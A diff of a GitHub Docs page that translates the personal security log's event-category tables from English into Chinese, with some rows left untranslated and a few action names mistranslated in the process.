+| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | 包含与签署 {% data variables.product.prodname_marketplace %} 开发者协议相关的所有活动。                                                                                                                                                                                                                                            |
+| [`marketplace_listing`](#marketplace_listing-category-actions)                         | 包含与 {% data variables.product.prodname_marketplace %} 中列出的应用程序相关的所有活动。{% endif %}
+| [`oauth_access`](#oauth_access-category-actions)                                       | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %}
+| [`payment_method`](#payment_method-category-actions)                                   | 包含与 {% data variables.product.prodname_dotcom %} 订阅支付相关的所有活动。{% endif %}
+| [`profile_picture`](#profile_picture-category-actions)                                 | 包含与头像相关的所有活动。                                                                                                                                                                                                                                                                                                    |
+| [`project`](#project-category-actions)                                                 | 包含与项目板相关的所有活动。                                                                                                                                                                                                                                                                                                   |
+| [`public_key`](#public_key-category-actions)                                           | 包含与[公共 SSH 密钥](/articles/adding-a-new-ssh-key-to-your-github-account)相关的所有活动。                                                                                                                                                                                                                                    |
+| [`repo`](#repo-category-actions)                                                       | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %}
+| [`sponsors`](#sponsors-category-actions)                                               | 包含与 {% data variables.product.prodname_sponsors %}和赞助者按钮相关的所有事件（请参阅“[关于 {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)”和“[在仓库中显示赞助者按钮](/articles/displaying-a-sponsor-button-in-your-repository)”）{% endif %}{% ifversion ghes or ghae %}
+| [`团队`](#team-category-actions)                                                         | 包含与您所在团队相关的所有活动。{% endif %}{% ifversion not ghae %}
+| [`two_factor_authentication`](#two_factor_authentication-category-actions)             | 包含与[双重身份验证](/articles/securing-your-account-with-two-factor-authentication-2fa)相关的所有活动。{% endif %}
+| [`用户`](#user-category-actions)                                                         | 包含与您的帐户相关的所有活动。                                                                                                                                                                                                                                                                                                  |
 
 {% ifversion fpt or ghec %}
 
-## Exporting your security log
+## 导出安全日志
 
 {% data reusables.audit_log.export-log %}
 {% data reusables.audit_log.exported-log-keys-and-values %}
 
 {% endif %}
 
-## Security log actions
+## 安全日志操作
 
-An overview of some of the most common actions that are recorded as events in the security log.
+安全日志中记录为事件的一些最常见操作的概述。
 
 {% ifversion fpt or ghec %}
 
-### `billing` category actions
+### `billing` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `change_billing_type` | Triggered when you [change how you pay](/articles/adding-or-editing-a-payment-method) for {% data variables.product.prodname_dotcom %}.
-| `change_email` | Triggered when you [change your email address](/articles/changing-your-primary-email-address).
+| 操作                    | 描述                                                                                                          |
+| --------------------- | ----------------------------------------------------------------------------------------------------------- |
+| `change_billing_type` | 当您[更改 {% data variables.product.prodname_dotcom %} 的支付方式](/articles/adding-or-editing-a-payment-method)时触发。 |
+| `change_email`        | 当您[更改您的电子邮件地址](/articles/changing-your-primary-email-address)时触发。                                           |
 
-### `codespaces` category actions
+### `codespaces` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [create a codespace](/github/developing-online-with-codespaces/creating-a-codespace).
-| `resume` | Triggered when you resume a suspended codespace.
-| `delete` | Triggered when you [delete a codespace](/github/developing-online-with-codespaces/deleting-a-codespace).
-| `manage_access_and_security` | Triggered when you update [the repositories a codespace has access to](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
-| `trusted_repositories_access_update` | Triggered when you change your user account's [access and security setting for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+| 操作                                   | 描述                                                                                                                                                                |
+| ------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create`                             | 当您[创建代码空间](/github/developing-online-with-codespaces/creating-a-codespace)时触发。                                                                                    |
+| `resume`                             | 恢复暂停的代码空间时触发。                                                                                                                                                     |
+| `delete`                             | 当您[删除代码空间](/github/developing-online-with-codespaces/deleting-a-codespace)时触发。                                                                                    |
+| `manage_access_and_security`         | 当您更新[代码空间可以访问的仓库时](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)触发。                                                      |
+| `trusted_repositories_access_update` | 当您更改用户帐户的 [{% data variables.product.prodname_codespaces %} 访问权限和安全设置](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)时触发。 |
 
-### `marketplace_agreement_signature` category actions
+### `marketplace_agreement_signature` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement.
+| 操作       | 描述                                                              |
+| -------- | --------------------------------------------------------------- |
+| `create` | 在签署 {% data variables.product.prodname_marketplace %} 开发者协议时触发。 |
 
-### `marketplace_listing` category actions
+### `marketplace_listing` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}.
-| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}.
-| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}.
-| `redraft` | Triggered when your listing is sent back to draft state.
-| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}.
+| 操作        | 描述                                                                   |
+| --------- | -------------------------------------------------------------------- |
+| `批准`      | 当您的列表被批准包含在 {% data variables.product.prodname_marketplace %} 中时触发。  |
+| `create`  | 当您在 {% data variables.product.prodname_marketplace %} 中为应用程序创建列表时触发。 |
+| `delist`  | 当您的列表从 {% data variables.product.prodname_marketplace %} 中被删除时触发。    |
+| `redraft` | 将您的列表被返回到草稿状态时触发。                                                    |
+| `reject`  | 当您的列表被拒绝包含在 {% data variables.product.prodname_marketplace %} 中时触发。  |
 
 {% endif %}
 
-### `oauth_authorization` category actions
+### `oauth_authority` 类别操作
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [grant access to an {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).
+| 操作        | 描述                                                                                                                                                                                                                                                                                                                                                                                                    |
+| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create`  | 当您[授予 {% data variables.product.prodname_oauth_app %} 访问权限](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)时触发。                                                                                                                                                                                                                                       |
 | `destroy` | Triggered when you [revoke an {% data variables.product.prodname_oauth_app %}'s access to your account](/articles/reviewing-your-authorized-integrations){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} and when [authorizations are revoked or expire](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).{% else %}.{% endif %}
 
 {% ifversion fpt or ghec %}
 
-### `payment_method` category actions
+### `payment_method` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `clear` | Triggered when [a payment method](/articles/removing-a-payment-method) on file is removed.
-| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account.
-| `update` | Triggered when an existing payment method is updated.
+| 操作       | 描述                                |
+| -------- | --------------------------------- |
+| `create` | 在添加新的付款方式（例如新的信用卡或 PayPal 帐户）时触发。 |
+| `update` | 当现有付款方式被更新时触发。                    |
 
 {% endif %}
 
-### `profile_picture` category actions
+### `profile_picture` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `update` | Triggered when you [set or update your profile picture](/articles/setting-your-profile-picture/).
+| 操作       | 描述                                                           |
+| -------- | ------------------------------------------------------------ |
+| `update` | 当您[设置或更新个人资料图片](/articles/setting-your-profile-picture/)时触发。 |
 
-### `project` category actions
+### `project` 类操作
 
-| Action | Description
-|--------------------|---------------------
-| `access` | Triggered when a project board's visibility is changed.
-| `create` | Triggered when a project board is created.
-| `rename` | Triggered when a project board is renamed.
-| `update` | Triggered when a project board is updated.
-| `delete` | Triggered when a project board is deleted.
-| `link`   | Triggered when a repository is linked to a project board.
-| `unlink` | Triggered when a repository is unlinked from a project board.
-| `update_user_permission` | Triggered when an outside collaborator is added to or removed from a project board or has their permission level changed.
+| 操作                       | 描述                                |
+| ------------------------ | --------------------------------- |
+| `access`                 | 当项目板的可见性被更改时触发。                   |
+| `create`                 | 在创建项目板时触发。                        |
+| `rename`                 | 当项目板被重命名时触发。                      |
+| `update`                 | 当项目板被更新时触发。                       |
+| `delete`                 | 在删除项目板时触发。                        |
+| `link`                   | 当仓库被链接到项目板时触发。                    |
+| `unlink`                 | 当仓库从项目板解除链接时触发。                   |
+| `update_user_permission` | 在项目板中添加或删除外部协作者时，或者他们的权限级别被更改时触发。 |
 
-### `public_key` category actions
+### `public_key` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account).
-| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).
+| 操作       | 描述                                                                                                                                                                                                                                                         |
+| -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account). |
+| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).                      |
 
-### `repo` category actions
+### `repo` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `access` | Triggered when you a repository you own is [switched from "private" to "public"](/articles/making-a-private-repository-public) (or vice versa).
-| `add_member` | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository.
-| `add_topic` | Triggered when a repository owner [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.
-| `archived` | Triggered when a repository owner [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %}
-| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
-| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
-| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).
-| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %}
-| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository).
-| `destroy` |  Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %}
-| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
-| `enable` | Triggered when a repository is re-enabled.{% endif %}
-| `remove_member` | Triggered when a {% data variables.product.product_name %} user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository).
-| `remove_topic` | Triggered when a repository owner removes a topic from a repository.
-| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).
-| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository).
-| `transfer_start` | Triggered when a repository transfer is about to occur.
-| `unarchived` | Triggered when a repository owner unarchives a repository.
+| 操作                                    | 描述                                                                                                                                                                                                                                                                                                                           |
+| ------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `access`                              | 当您拥有的仓库[从“私有”切换到“公共”](/articles/making-a-private-repository-public)（反之亦然）时触发。                                                                                                                                                                                                                                                |
+| `add_member`                          | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository. |
+| `add_topic`                           | 当仓库所有者向仓库[添加主题](/articles/classifying-your-repository-with-topics)时触发。                                                                                                                                                                                                                                                       |
+| `archived`                            | 当仓库所有者[存档仓库](/articles/about-archiving-repositories)时触发。{% ifversion ghes %}
+| `config.disable_anonymous_git_access` | 当公共仓库中[禁用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)时触发。                                                                                                                                                                                                |
+| `config.enable_anonymous_git_access`  | 当公共仓库中[启用匿名 Git 读取权限](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)时触发。                                                                                                                                                                                                |
+| `config.lock_anonymous_git_access`    | 当仓库的[匿名 Git 读取权限设置被锁定](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)时触发。                                                                                                                                                                           |
+| `config.unlock_anonymous_git_access`  | 当仓库的[匿名 Git 读取权限设置被解锁](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)时触发。{% endif %}
+| `create`                              | 在[创建新仓库](/articles/creating-a-new-repository)时触发。                                                                                                                                                                                                                                                                            |
+| `destroy`                             | 当[仓库被删除](/articles/deleting-a-repository)时触发。{% ifversion fpt or ghec %}
+| `禁用`                                  | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
+| `启用`                                  | 在重新启用仓库时触发。{% endif %}
+| `remove_member`                       | 从[仓库中删除 {% data variables.product.product_name %} 用户的协作者身份](/articles/removing-a-collaborator-from-a-personal-repository)时触发。                                                                                                                                                                                                |
+| `remove_topic`                        | 当仓库所有者从仓库中删除主题时触发。                                                                                                                                                                                                                                                                                                           |
+| `rename`                              | 当[仓库被重命名](/articles/renaming-a-repository)时触发。                                                                                                                                                                                                                                                                               |
+| `转让`                                  | 当[仓库被转让](/articles/how-to-transfer-a-repository)时触发。                                                                                                                                                                                                                                                                         |
+| `transfer_start`                      | 在仓库转让即将发生时触发。                                                                                                                                                                                                                                                                                                                |
+| `unarchived`                          | 当仓库所有者取消存档仓库时触发。                                                                                                                                                                                                                                                                                                             |
 
 {% ifversion fpt or ghec %}
-### `sponsors` category actions
+### `sponsors` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)")
-| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)")
-| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
-| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
-| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
-| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored developer (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)")
-| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
-| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled
-| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state
-| `sponsored_developer_profile_update` | Triggered when you edit your sponsored developer profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)")
-| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)")
-| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)")
-| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `waitlist_join` | Triggered when you join the waitlist to become a sponsored developer (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
+| 操作                                            | 描述                                                                                                                                                                                                                                                                                                              |
+| --------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `custom_amount_settings_change`               | 启用或禁用自定义金额时或更改建议的自定义金额时触发（请参阅“[管理您的赞助级别](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)”）                                                                                                                                                                   |
+| `repo_funding_links_file_action`              | 更改仓库中的 FUNDING 文件时触发（请参阅“[在仓库中显示赞助按钮](/articles/displaying-a-sponsor-button-in-your-repository)”）                                                                                                                                                                                                               |
+| `sponsor_sponsorship_cancel`                  | 当您取消赞助时触发（请参阅“[降级赞助](/articles/downgrading-a-sponsorship)”）                                                                                                                                                                                                                                                     |
+| `sponsor_sponsorship_create`                  | 当您赞助帐户时触发（请参阅“[赞助开源贡献者](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)”）                                                                                                                                                                                                  |
+| `sponsor_sponsorship_payment_complete`        | 当您赞助一个帐户并且您的付款已经处理完毕后触发（请参阅“[赞助开源贡献者](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)”）                                                                                                                                                                                    |
+| `sponsor_sponsorship_preference_change`       | 当您更改是否接收被赞助开发者的电子邮件更新时触发（请参阅“[管理赞助](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)”）                                                                                                                                                                                                  |
+| `sponsor_sponsorship_tier_change`             | 当您升级或降级赞助时触发（请参阅“[升级赞助](/articles/upgrading-a-sponsorship)”和“[降级赞助](/articles/downgrading-a-sponsorship)”）                                                                                                                                                                                                      |
+| `sponsored_developer_approve`                 | 当您的 {% data variables.product.prodname_sponsors %} 帐户被批准时触发（请参阅“[为您的用户帐户设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)”）                                                                         |
+| `sponsored_developer_create`                  | 当您的 {% data variables.product.prodname_sponsors %} 帐户创建时触发（请参阅“[为您的用户帐户设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)”）                                                                          |
+| `sponsored_developer_disable`                 | 帐户 {% data variables.product.prodname_sponsors %} 禁用时触发                                                                                                                                                                                                                                                         |
+| `sponsored_developer_redraft`                 | 当您的 {% data variables.product.prodname_sponsors %} 帐户从已批准状态恢复为草稿状态时触发                                                                                                                                                                                                                                           |
+| `sponsored_developer_profile_update`          | 在编辑您的被赞助开发者个人资料时触发（请参阅“[编辑 {% data variables.product.prodname_sponsors %} 的个人资料详细信息](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)”）                                                                                                               |
+| `sponsored_developer_request_approval`        | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") |
+| `sponsored_developer_tier_description_update` | 当您更改赞助等级的说明时触发（请参阅“[管理赞助等级](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)”）                                                                                                                                                                                         |
+| `sponsored_developer_update_newsletter_send`  | 当您向赞助者发送电子邮件更新时触发（请参阅“[联系赞助者](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)”）                                                                                                                                                                                              |
+| `waitlist_invite_sponsored_developer`         | 当您从等候名单被邀请加入 {% data variables.product.prodname_sponsors %} 时触发（请参阅“[为您的用户帐户设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)”）                                                                     |
+| `waitlist_join`                               | 当您加入成为被赞助开发者的等候名单时触发（请参阅“[为您的用户帐户设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)”）                                                                                                                |
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### `successor_invitation` category actions
+### `successor_invitation` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `accept` | Triggered when you accept a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `cancel` | Triggered when you cancel a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `create` | Triggered when you create a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `decline` | Triggered when you decline a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
-| `revoke` | Triggered when you revoke a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)")
+| 操作        | 描述                                                                                                                                                                |
+| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `accept`  | 当您接受继承邀请时触发（请参阅“[保持用户帐户仓库的所有权连续性](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)”） |
+| `cancel`  | 当您取消继承邀请时触发（请参阅“[保持用户帐户仓库的所有权连续性](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)”） |
+| `create`  | 当您创建继承邀请时触发（请参阅“[保持用户帐户仓库的所有权连续性](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)”） |
+| `decline` | 当您拒绝继承邀请时触发（请参阅“[保持用户帐户仓库的所有权连续性](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)”） |
+| `revoke`  | 当您撤销继承邀请时触发（请参阅“[保持用户帐户仓库的所有权连续性](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)”） |
 {% endif %}
 
 {% ifversion ghes or ghae %}
 
-### `team` category actions
+### `team` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `add_member` | Triggered when a member of an organization you belong to [adds you to a team](/articles/adding-organization-members-to-a-team).
-| `add_repository` | Triggered when a team you are a member of is given control of a repository.
-| `create` | Triggered when a new team in an organization you belong to is created.
-| `destroy` | Triggered when a team you are a member of is deleted from the organization.
-| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team) you are a member of.
-| `remove_repository` | Triggered when a repository is no longer under a team's control.
+| 操作                  | 描述                                                                       |
+| ------------------- | ------------------------------------------------------------------------ |
+| `add_member`        | 当您所属组织的成员[将您添加到团队](/articles/adding-organization-members-to-a-team)时触发。  |
+| `add_repository`    | 当您所属团队被授予控制仓库的权限时触发。                                                     |
+| `create`            | 当您所属组织中创建了新团队时触发。                                                        |
+| `destroy`           | 当您所属团队从组织中被删除时触发。                                                        |
+| `remove_member`     | [从您所属团队中删除组织成员](/articles/removing-organization-members-from-a-team)时触发。 |
+| `remove_repository` | 当仓库不再受团队控制时触发。                                                           |
 
 {% endif %}
 
 {% ifversion not ghae %}
-### `two_factor_authentication` category actions
+### `two_factor_authentication` 类操作
 
-| Action | Description
-|------------------|-------------------
-| `enabled` | Triggered when [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) is enabled.
-| `disabled` | Triggered when two-factor authentication is disabled.
+| 操作         | 描述                                                                                  |
+| ---------- | ----------------------------------------------------------------------------------- |
+| `enabled`  | 在启用[双重身份验证](/articles/securing-your-account-with-two-factor-authentication-2fa)时触发。 |
+| `disabled` | 在禁用双重身份验证时触发。                                                                       |
 {% endif %}
 
-### `user` category actions
+### `user` 类操作
 
-| Action | Description
-|--------------------|---------------------
-| `add_email` | Triggered when you {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %}
-| `codespaces_trusted_repo_access_granted` | Triggered when you [allow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces.
-| `codespaces_trusted_repo_access_revoked` | Triggered when you [disallow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. {% endif %}
-| `create` | Triggered when you create a new user account.{% ifversion not ghae %}
-| `change_password` | Triggered when you change your password.
-| `forgot_password` | Triggered when you ask for [a password reset](/articles/how-can-i-reset-my-password).{% endif %}
-| `hide_private_contributions_count` | Triggered when you [hide private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).
-| `login` | Triggered when you log in to {% data variables.product.product_location %}.{% ifversion ghes or ghae %}
-`mandatory_message_viewed`   | Triggered when you view a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %}
-| `failed_login` | Triggered when you failed to log in successfully.
-| `remove_email` | Triggered when you remove an email address.
-| `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %}
-| `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %}
-| `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %}
-| `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %}
+| 操作                                                                                                                                                                       | 描述                                                                                                                           |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------- |
+| `add_email`                                                                                                                                                              | 当您                                                                                                                           |
+| {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %} |                                                                                                                              |
+| `codespaces_trusted_repo_access_granted`                                                                                                                                 | 当您[允许为某个仓库创建的代码空间访问您的用户帐户拥有的其他仓库]时触发(/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)。 |
+| `codespaces_trusted_repo_access_revoked`                                                                                                                                 | 当您[禁止为某个仓库创建的代码空间访问您的用户帐户拥有的其他仓库]时触发(/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)。 |{% endif %}
+| `create`                                                                                                                                                                 | 在创建新帐户时触发。{% ifversion not ghae %}
+| `change_password`                                                                                                                                                        | 当您更改密码时触发。                                                                                                                   |
+| `forgot_password`                                                                                                                                                        | 在您要求[重置密码](/articles/how-can-i-reset-my-password)时触发。{% endif %}
+| `hide_private_contributions_count`                                                                                                                                       | 当您[在个人资料中隐藏私有贡献](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)时触发。                             |
+| `login`                                                                                                                                                                  | Triggered when you log in to {% data variables.product.product_location %}.{% ifversion ghes or ghae %}
 
-### `user_status` category actions
 
-| Action | Description
-|--------------------|---------------------
-| `update` | Triggered when you set or change the status on your profile. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
-| `destroy` | Triggered when you clear the status on your profile.
